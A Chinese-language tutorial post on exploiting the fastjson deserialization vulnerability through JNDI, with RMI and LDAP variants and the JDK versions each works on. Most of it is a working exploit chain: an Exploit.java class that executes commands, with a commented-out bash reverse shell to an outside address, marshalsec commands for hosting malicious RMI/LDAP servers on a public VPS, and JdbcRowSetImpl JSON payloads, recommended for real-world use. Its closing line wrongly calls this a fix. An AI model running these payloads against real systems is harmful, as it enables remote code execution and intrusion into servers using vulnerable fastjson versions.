fastjson是alibaba开源的一款高性能功能完善的JSON库,但是之前官方自己爆出了一个安全漏洞,那么fastjson反序列化漏洞利用工具是什么?接下来,我们就来给大家讲解一下这方面的内容。
反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。
RMI是一种行为,指的是Java远程方法调用。
JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。
存在java版本限制:
基于rmi的利用方式:适用jdk版本:JDK 6u132, JDK 7u131, JDK 8u121之前。
在jdk8u122的时候,加入了反序列化白名单的机制,关闭了rmi远程加载代码。
基于ldap的利用方式:适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。
在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。
可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。
一、环境搭建
下载war包后,放到tomcat的webapps目录下,自动部署war包。
启动tomcat服务,访问对应目录。
二、漏洞利用
1、首先将以下代码保存为Exploit.java(可以根据操作系统类型更改自己想要执行的命令)
import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; public class Exploit { public Exploit() throws Exception { Process p = Runtime.getRuntime() .exec(new String[] { "cmd" , "/c" , "calc.exe" }); //Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"}); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while ((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception {} }
使用javac命令编译Exploit.java文件,生成一个Exploit.class文件
javac Exploit.java
把生成的Exploit.class文件,放到公网vps的web目录下,可以通过互联网的http服务访问到。
2、使用marshalsec启动一个RMI服务器,或者ladp服务器。
mvn clean package -DskipTests
把target下的marshalsec-0.0.3-SNAPSHOT-all.jar上传到公网vps上。
可以使用RMI或者LDAP的服务,将reference result 重定向到web服务器(即文件Exploit.class的存放位置)。
java - cp marshalsec - 0.0 .3 - SNAPSHOT - all.jar marshalsec.jndi.RMIRefServer "http://x.x.x.x/#Exploit" 9999 java - cp marshalsec - 0.0 .3 - SNAPSHOT - all.jar marshalsec.jndi.LDAPRefServer "http://x.x.x.x/#Exploit" 9999
实验环境的jdk版本为8u172,大于8u121小于8u191,理论上rmi无法使用,ldap可以使用。
发送exp
{ "a": { "@type": "java.lang.Class" , "val": "com.sun.rowset.JdbcRowSetImpl" } , "b": { "@type": "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName": "rmi://x.x.x.x/:9999/Exploit" , "autoCommit": true } }
rmi服务接受到了请求,但并没有执行计算器的系统命令。
使用ldap服务,进行漏洞利用。
java - cp marshalsec - 0.0 .3 - SNAPSHOT - all.jar marshalsec.jndi.LDAPRefServer "http://x.x.x.x/#Exploit" 9999
{ "a": { "@type": "java.lang.Class" , "val": "com.sun.rowset.JdbcRowSetImpl" } , "b": { "@type": "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName": "ldap://x.x.x.x:9999/Exploit" , "autoCommit": true } }
成功执行了系统命令,弹出了计算器。
从文中我们可以看出,解决fastjson反序列化漏洞还是比较繁琐的,不过大家要是掌握这些方法的话,也是自己技能的一个提升哦!最后大家如果想要了解更多java入门知识,敬请关注奇Q工具网。
推荐阅读: